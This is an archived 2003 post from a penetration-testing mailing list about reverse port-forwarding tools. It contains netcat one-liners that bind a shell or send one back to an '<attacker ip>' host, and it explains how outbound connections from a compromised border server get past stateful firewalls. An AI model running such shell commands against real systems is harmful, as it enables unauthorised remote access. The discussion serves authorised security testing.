RE: command-line reverse connection tunnel?

From: Steven Gill (gman1120@hotmail.com)
Date: 03/17/03

  • Next message: fr0stman: "IIS 5.0 problem with "backup" files in executable directories....how to enumerate them?"
    From: "Steven Gill" <gman1120@hotmail.com>
    To: filip@securax.be, pen-test@securityfocus.com
    Date: Sun, 16 Mar 2003 22:26:33 -0500
    
    

    Yes, you can use netcat to send a shell back, but it is a pain to use it for
    port redirection. E.G. for a shell you can:

    nc -l -p <port> -e /bin/sh

    or

    nc <attacker ip> 1234 | /bin/sh | nc <attacker ip> 1235 and have stdin and
    stdout connected to the above ports respectively. But we want to use more
    robust services other than shell, such as getting GUI on Windows via
    terminal services or other more complex protocols.

    Lets take for example a service on a machine that is not nat'd but a border
    server we can compromise has access to it.

    You can use rinetd, fpipe, stunnel, etc for forward redirection. In these
    cases, there needs to be 2 holes punched through on the server, 1 for the
    shell used to compromised the server (like www or telnet) and then the port
    for the redirector to listen on. Revinetd is used for port redirection
    where the server appears to be the initiator of the connectivity. You
    theoretically only need one port open in the forward direction which is the
    shell. All other connectivity is intiated outbound from the server, so a
    stateful firewall would see the port redirector traffic as NEW in the
    connection table from the server, allowing us to utilize more liberal rule
    sets that we know most organizations allow.

    Now I know revinetd is not the only thing to use for it. It was brought to
    my attention that socat can be used for this, but I wanted a tool that was
    just used for reverse port forwarding and was intuitive to use.

    I hope this answers your question.

    Steve

    >From: "Filip Maertens" <filip@securax.be>
    >To: "'Steven Gill'" <gman1120@hotmail.com>,<pen-test@securityfocus.com>
    >Subject: RE: command-line reverse connection tunnel?
    >Date: Sat, 15 Mar 2003 23:57:32 +0100
    >
    > >have successfully tested it in a pen test stituation in the lab for
    >doing
    > >reverse connectivity. I think this would be a valuable tool for all
    >people
    >
    >I beg to differ.
    >
    >What exactly is different from using netcat listeners on both,
    >attack-client and target machine? All in all, using a reverse telnet
    >technique using netcat isn't very much a big an issue? I think this is
    >a handy tool, but I would like to emphasize one can also use netcat in
    >doing so (if this had been mentioned before in the "old posts",
    >disregard this post, since I didn't followed this thread).
    >
    >
    >Fil
    >
    >--
    >Filip Maertens @ Home
    >http://www.compsec.be
    >
    >
    >----------------------------------------------------------------------------
    >Did you know that you have VNC running on your network?
    >Your hacker does. Plug your security holes now!
    >Download a free 15-day trial of VAM:
    >http://www2.stillsecure.com/download/sf_vuln_list.html

    _________________________________________________________________
    MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.
    http://join.msn.com/?page=features/virus

    ----------------------------------------------------------------------------
    Did you know that you have VNC running on your network?
    Your hacker does. Plug your security holes now!
    Download a free 15-day trial of VAM:
    http://www2.stillsecure.com/download/sf_vuln_list.html


  • Next message: fr0stman: "IIS 5.0 problem with "backup" files in executable directories....how to enumerate them?"

    Relevant Pages

    • Re: [Full-disclosure] Internet Explorer 0-Day
      ... Just use netcat to listen for a shell from that port on that machine. ... Charter: http://lists.grok.org.uk/full-disclosure-charter.html ...
      (Full-Disclosure)
    • ANNOUNCE: DJGPP port of GNU Make 3.81 uploaded
      ... This is a port of GNU Make 3.81 to MSDOS/DJGPP. ... The are two kind of required djgpp specific changes to the sources: ... of the SHELL Makefile variable is no longer exported automatically. ...
      (comp.os.msdos.djgpp)
    • Re: Print Server Port Numbers?
      ... Why do you assume there even IS any raw tcp feature? ... port names to use as lpd/lpr queue names. ... The first provides a convenient way to use netcat and rlpr, ... interface script, not just one you hand-edit to insert netcat functionality, ...
      (comp.unix.sco.misc)
    • Re: Hawking HPS1P Printserver/netcat
      ... > can't find the port they use to print. ... A lot of cheap print servers simply can't be used with netcat any more. ... a print server may support that even if it doesn't make a big ... The next easiest protocol to use from unix is lpd, ...
      (comp.unix.sco.misc)
    • Re: OFF-TOPIC: HTML to send data out a certain port
      ... server's TCP socket on Port 4998. ... I like the 'connect' command for this type of thing. ... For netcat you will need to choose between either the ... listening on port 4998. ...
      (Debian-User)